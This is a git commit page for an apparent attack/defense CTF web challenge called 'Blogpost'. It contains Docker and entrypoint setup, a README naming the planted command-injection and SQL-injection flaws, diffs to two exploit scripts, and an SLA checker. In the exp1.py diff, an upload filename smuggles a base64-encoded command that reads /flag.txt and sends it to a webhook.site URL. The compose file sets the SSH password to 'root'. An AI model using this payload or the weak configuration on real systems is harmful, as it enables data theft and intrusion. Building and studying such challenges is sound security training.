rev blogpost

This commit is contained in:
Jonathan committed 2025-10-11 12:42:26 +07:00
1 parent 6c5b9cfc24
commit 3857f0bdc0
36 files changed
+398 -43

No files matched your search

+51 -10
View File
@@ -1,21 +1,62 @@
FROM python:3.11-slim # Dockerfile
FROM python:3.11-slim-bullseye
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \ # Build-time args
libimage-exiftool-perl \ ARG PASSWORD
sqlite3 \
build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app WORKDIR /app
COPY requirements.txt /app/ # Prevent interactive prompts during apt installs
ENV DEBIAN_FRONTEND=noninteractive
ENV DB_PATH=/data/app.db
# Install packages we need (exiftool, sqlite3, sshd, build tools, editor)
RUN apt-get update && \
apt-get install -y --no-install-recommends \
libimage-exiftool-perl \
sqlite3 \
openssh-server \
build-essential \
bash \
nano \
&& rm -rf /var/lib/apt/lists/*
# Create an unprivileged user for running the app / SSH access
RUN useradd -m -d /home/ctfuser -s /bin/bash ctfuser \
&& if [ -n "${PASSWORD}" ]; then echo "ctfuser:${PASSWORD}" | chpasswd; fi
# Copy application and requirements
COPY chall/requirements.txt /app/
RUN pip install --no-cache-dir -r /app/requirements.txt RUN pip install --no-cache-dir -r /app/requirements.txt
COPY . /app COPY chall/ .
RUN chmod +x /app/entrypoint.sh
RUN mkdir -p /data /app/uploads # Ensure entrypoint exists and is executable (keeps your existing entrypoint.sh)
RUN chmod +x /app/entrypoint.sh || true
# Create needed directories and set permissions
RUN mkdir -p /data /app/uploads /run/sshd /notes \
&& chown -R ctfuser:ctfuser /app /app/uploads /notes \
&& chmod 755 /app \
&& chmod 777 /app/uploads
# (intentionally NOT chowning /data here; we’ll fix /data at runtime in case it’s a bind mount)
# Create the flag file with safe perms (will be overwritten at runtime if FLAG is set)
RUN touch /flag.txt && chown root:root /flag.txt && chmod 644 /flag.txt
# Configure basic sshd options
RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \
echo "PermitRootLogin no" >> /etc/ssh/sshd_config && \
echo "AllowUsers ctfuser" >> /etc/ssh/sshd_config && \
echo "PermitEmptyPasswords no" >> /etc/ssh/sshd_config
# Generate host keys and make sure /run/sshd exists
RUN ssh-keygen -A || true
RUN mkdir -p /run/sshd && chmod 755 /run/sshd
# Expose app and ssh ports
EXPOSE 8000 EXPOSE 8000
EXPOSE 22
USER root
CMD ["/app/entrypoint.sh"] CMD ["/app/entrypoint.sh"]
+15
View File
@@ -0,0 +1,15 @@
## Blogpost
db used: sqlite
flag.txt: GEMASTIK{random sha256 generated on app start}
feature:
[authentication required with login and register, register default as "user" role]
1. search feature
2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database
3. profile (if the account type is admin, render the content of flag.txt)
vuln1: Command injection on exiftool (payload: exp1.py)
vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py)
patching rules?:
@@ -10,7 +10,7 @@ from markupsafe import escape as m_escape
APP_DIR = os.path.dirname(os.path.abspath(__file__)) APP_DIR = os.path.dirname(os.path.abspath(__file__))
UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads") UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads")
DB_PATH = "/data/app.db" DB_PATH = "/data/app.db"
FLAG_PATH = "/app/flag.txt" FLAG_PATH = "/flag.txt"
ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'} ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'}
File renamed without changes.
+67
View File
@@ -0,0 +1,67 @@
#!/usr/bin/env bash
set -euo pipefail
umask 002 # so group-writable files end up 664 and dirs 775 (good for volumes)
APP_DIR="/app"
UPLOADS_DIR="${APP_DIR}/uploads"
DATA_DIR="/data"
DBFILE="${DATA_DIR}/app.db"
INIT_SQL="${APP_DIR}/init_db.sql"
FLAG_FILE="/flag.txt"
# Create required dirs
mkdir -p "${UPLOADS_DIR}" "${DATA_DIR}"
# Try to ensure runtime ownership (works for named volumes; bind-mounts may ignore)
chown -R ctfuser:ctfuser "${UPLOADS_DIR}" "${APP_DIR}" 2>/dev/null || true
chown -R ctfuser:ctfuser "${DATA_DIR}" 2>/dev/null || true
# Minimum perms so SQLite can create -wal/-shm alongside the DB
chmod 775 "${DATA_DIR}" || true
chmod 775 "${UPLOADS_DIR}" || true
# Initialize database as ctfuser so the file is owned/writable by the app user
if [ ! -f "${DBFILE}" ]; then
echo "Initializing database at ${DBFILE}..."
# ensure parent dir writable
if [ ! -w "${DATA_DIR}" ]; then
echo "WARN: ${DATA_DIR} is not writable by root; continuing…"
fi
# create empty DB as ctfuser (so ownership is correct), then run schema
su -s /bin/bash -c "touch '${DBFILE}'" ctfuser || true
# permissions suitable for SQLite + group access
chmod 664 "${DBFILE}" || true
# run schema if present
if [ -f "${INIT_SQL}" ]; then
su -s /bin/bash -c "sqlite3 '${DBFILE}' < '${INIT_SQL}'" ctfuser
fi
fi
# (Optional) If your host FS hates WAL, uncomment these lines to switch to DELETE mode on first run
# su -s /bin/bash -c "sqlite3 '${DBFILE}' 'PRAGMA journal_mode=DELETE; PRAGMA synchronous=NORMAL;'" ctfuser || true
# Environment for Flask (your app still runs via python app.py)
export FLASK_APP="${APP_DIR}/app.py"
export FLASK_ENV=production
# Start SSH (Debian slim may not have full init; fall back to raw sshd)
if command -v service >/dev/null 2>&1; then
service ssh start || /usr/sbin/sshd &
else
/usr/sbin/sshd &
fi
# Handle flag (keep owned by root, world-readable OK for CTF unless you want to restrict)
if [ "${FLAG:-}" != "" ]; then
echo "$FLAG" > "${FLAG_FILE}"
chown root:root "${FLAG_FILE}" || true
chmod 644 "${FLAG_FILE}" || true
fi
echo "Starting Flask app (port 8000) as ctfuser…"
# Final sanity: make sure runtime dirs stay writable for WAL/SHM/uploads
chmod g+w "${DATA_DIR}" "${UPLOADS_DIR}" 2>/dev/null || true
# Exec the app as ctfuser
exec su -s /bin/bash -c "cd '${APP_DIR}' && python3 app.py" ctfuser
File renamed without changes.
@@ -1,3 +1,3 @@
Flask==2.2.5 Flask==2.2.5
werkzeug==2.2.3 werkzeug==2.2.3
Jinja2==3.1.2 Jinja2==3.1.2
File renamed without changes.
Binary file not shown.
+10 -6
View File
@@ -1,10 +1,14 @@
version: '3.8'
services: services:
blogpost: blogpost_service:
build: .
container_name: blogpost_container container_name: blogpost_container
hostname: blogpost
restart: always
build:
context: .
args:
- PASSWORD=root
ports: ports:
- "10000:8000" - "4400:8000"
- "4422:22"
environment: environment:
- FLASK_ENV=production - FLAG=GEMASTIK{fake_flag}
command: ["/app/entrypoint.sh"]
-22
View File
@@ -1,22 +0,0 @@
#!/usr/bin/env bash
set -e
FLAG_SHA=$(head -c 64 /dev/urandom | sha256sum | awk '{print $1}')
FLAG="GEMASTIK{${FLAG_SHA}}"
echo "$FLAG" > /app/flag.txt
chmod 400 /app/flag.txt
mkdir -p /app/uploads
mkdir -p /data
DBFILE=/data/app.db
if [ ! -f "$DBFILE" ]; then
echo "Initializing database..."
sqlite3 $DBFILE < /app/init_db.sql
fi
echo "Starting Flask app (port 8000)..."
export FLASK_APP=/app/app.py
export FLASK_ENV=production
python /app/app.py
+2 -2
View File
@@ -4,7 +4,7 @@ from pathlib import Path
import random import random
import string import string
HOST = "http://localhost:4413" HOST = "http://localhost:4400"
REGISTER_URL = HOST + "/register" REGISTER_URL = HOST + "/register"
LOGIN_URL = HOST + "/login" LOGIN_URL = HOST + "/login"
CREATE_URL = HOST + "/create" CREATE_URL = HOST + "/create"
@@ -19,7 +19,7 @@ def generate_random_string(length=8):
USERNAME = generate_random_string() USERNAME = generate_random_string()
PASSWORD = generate_random_string() PASSWORD = generate_random_string()
# choose payload variant: either use subshell $() or backticks `...` # choose payload variant: either use subshell $() or backticks `...`
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg" filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
# choose which to use: # choose which to use:
filename_payload = filename_payload # or payload_backticks filename_payload = filename_payload # or payload_backticks
+1 -1
View File
@@ -7,7 +7,7 @@ from pathlib import Path
print("SQLi (VULN 2) Exploit") print("SQLi (VULN 2) Exploit")
HOST = "http://localhost:4413" HOST = "http://localhost:4400"
REGISTER_URL = HOST + "/register" REGISTER_URL = HOST + "/register"
LOGIN_URL = HOST + "/login" LOGIN_URL = HOST + "/login"
CREATE_URL = HOST + "/create" CREATE_URL = HOST + "/create"
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1012 KiB

After

Width:  |  Height:  |  Size: 1012 KiB

+250
View File
@@ -0,0 +1,250 @@
import io
import re
import time
import json
import base64
import random
import string
import logging
import subprocess
from typing import Optional
import requests
from PIL import Image # pillow for tiny PNG generation
from .Challenge import Challenge
class WebAppSLA(Challenge):
"""
SLA checker for the provided Flask challenge app.
Assumptions / Defaults (override as needed):
- Service listens on self.port (inherited)
- Container name is 'chal_app' (override via self.container_name)
- Flag lives in '/app/flag.txt' inside container
- Login flow at /login, register at /register
- Create post at /create, view post at /post/<id>, uploads at /uploads/<file>
"""
flag_location = 'flags/webapp.txt' # Host copy (used by your orchestrator)
history_location = 'history/webapp.txt'
container_flag_path = '/app/flag.txt'
container_name = 'chal_app' # <-- set to your actual container name
# Heuristics to recognize ExifTool output
_exif_markers = (
'ExifTool Version Number',
'File Name',
'File Size',
'MIME Type',
'File Type',
)
def _make_logger(self):
if not hasattr(self, 'logger') or self.logger is None:
self.logger = logging.getLogger(self.__class__.__name__)
if not self.logger.handlers:
h = logging.StreamHandler()
h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s'))
self.logger.addHandler(h)
self.logger.setLevel(logging.INFO)
# --- Flag distribution hook (optional, mirrors your example) ---
def distribute(self, flag: str) -> bool:
"""
Writes/records the current flag on the host. Your infra may separately
mount/copy it into the container; this class *also* verifies existence
inside the container during .check().
"""
self._make_logger()
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f"Flag '{flag}' written to {self.flag_location}")
return True
except Exception as e:
self.logger.error(f"Failed writing host flag: {e}")
return False
# --- Helpers ---
def _gen_username(self) -> str:
return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
def _gen_password(self) -> str:
return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10))
def _tiny_png_bytes(self) -> bytes:
"""
Generate a minimal valid PNG in-memory to trigger exiftool.
"""
img = Image.new("RGB", (2, 2), (123, 200, 50))
buf = io.BytesIO()
img.save(buf, format="PNG")
return buf.getvalue()
def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess:
"""
Run `docker exec` into the challenge container.
"""
return subprocess.run(
["docker", "exec", self.container_name] + args,
capture_output=True,
text=True,
timeout=timeout
)
# --- SLA core ---
def check(self) -> bool:
self._make_logger()
base_url = f"http://localhost:{self.port}"
s = requests.Session()
# 0) Liveness: login page should be reachable (no auth needed)
login_url = base_url + "/login"
self.logger.info(f"[1/7] Checking liveness at {login_url} ...")
try:
r = s.get(login_url, timeout=10)
assert r.status_code == 200, f"Login page HTTP {r.status_code}"
self.logger.info(" ✓ Login page reachable")
except Exception as e:
self.logger.error(f" ✗ Liveness check failed: {e}")
return False
# 1) Register a fresh user
self.logger.info("[2/7] Registering a fresh user ...")
username = self._gen_username()
password = self._gen_password()
try:
r = s.post(
base_url + "/register",
data={"username": username, "password": password},
allow_redirects=False,
timeout=10,
)
# Flask typically redirects to /login on success (302)
assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}"
self.logger.info(f" ✓ Registered as {username}")
except Exception as e:
self.logger.error(f" ✗ Registration failed: {e}")
return False
# 2) Log in
self.logger.info("[3/7] Logging in ...")
try:
r = s.post(
base_url + "/login",
data={"username": username, "password": password},
allow_redirects=True,
timeout=10,
)
# Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials"
assert r.status_code == 200, f"Login HTTP {r.status_code}"
assert "/login" not in r.url or "Invalid credentials" not in r.text
self.logger.info(" ✓ Logged in")
except Exception as e:
self.logger.error(f" ✗ Login failed: {e}")
return False
# 3) Create post with image upload (PNG) to trigger exiftool + DB write
self.logger.info("[4/7] Creating a post with image upload ...")
title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6))
content = "hello_from_sla_checker"
png_bytes = self._tiny_png_bytes()
files = {
"image": ("probe.png", png_bytes, "image/png")
}
data = {"title": title, "content": content}
try:
r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20)
assert r.status_code == 200, f"Create returned HTTP {r.status_code}"
self.logger.info(" ✓ Post created")
except Exception as e:
self.logger.error(f" ✗ Create post failed: {e}")
return False
# 4) Discover the newly created post id by scraping links like /post/<id> from index
self.logger.info("[5/7] Resolving new post id from index ...")
try:
r = s.get(base_url + "/", timeout=10)
assert r.status_code == 200, f"Index HTTP {r.status_code}"
# Find the most recent /post/<id> that likely corresponds to our post title
# First try to find blocks containing our title then pull an id:
post_id: Optional[int] = None
# Prefer links sitting near our title
title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)]
if title_blocks:
# Search backward/forward around the title occurrences for a /post/<num> link
for pos in title_blocks:
window = r.text[max(0, pos-1000):pos+1000]
m = re.search(r'/post/(\d+)', window)
if m:
post_id = int(m.group(1))
break
# Fallback: pick the first /post/<id> in the page
if post_id is None:
m = re.search(r'/post/(\d+)', r.text)
assert m, "No /post/<id> link found on index"
post_id = int(m.group(1))
self.logger.info(f" ✓ Resolved post id = {post_id}")
except Exception as e:
self.logger.error(f" ✗ Could not resolve post id: {e}")
return False
# 5) Visit the post page, confirm it renders and contains our title/content.
self.logger.info("[6/7] Visiting the post page ...")
try:
vp = s.get(base_url + f"/post/{post_id}", timeout=10)
assert vp.status_code == 200, f"Post page HTTP {vp.status_code}"
assert title in vp.text, "Post title not present on view page"
assert content in vp.text, "Post content not present on view page"
self.logger.info(" ✓ Post page renders with our content")
except Exception as e:
self.logger.error(f" ✗ View post failed: {e}")
return False
# 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/<file>.meta
self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...")
try:
# Find something like /uploads/<sha256>.png (or .jpg/.jpeg/.bmp)
m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE)
assert m, "No uploaded image link found on post page"
image_name = m.group(1)
# The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route.
meta_url = base_url + f"/uploads/{image_name}.meta"
mr = s.get(meta_url, timeout=10)
assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}"
meta_text = mr.text.strip()
# Heuristic: expect at least one ExifTool-like marker
assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output"
self.logger.info(" ✓ Exif metadata present and readable")
except Exception as e:
self.logger.error(f" ✗ Metadata verification failed: {e}")
return False
# 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven)
try:
proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"])
out = (proc.stdout or "").strip()
if "__MISSING__" in out or proc.returncode not in (0,):
self.logger.warning("⚠ Flag file missing inside container")
else:
self.logger.info(" ✓ Container flag present")
# Optional: compare with host flag if present
try:
with open(self.flag_location, "r") as f:
host_flag = f.read().strip()
if host_flag and host_flag == out:
self.logger.info(" ✓ Host and container flags match")
else:
self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)")
except FileNotFoundError:
self.logger.warning("⚠ Host flag not found; skipping comparison")
except Exception as e:
# Non-fatal: you can tune this to fail the round if flag is mandatory.
self.logger.warning(f"Flag existence check encountered an issue: {e}")
self.logger.info("SLA check passed ✅")
return True
BIN
View File
Binary file not shown.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.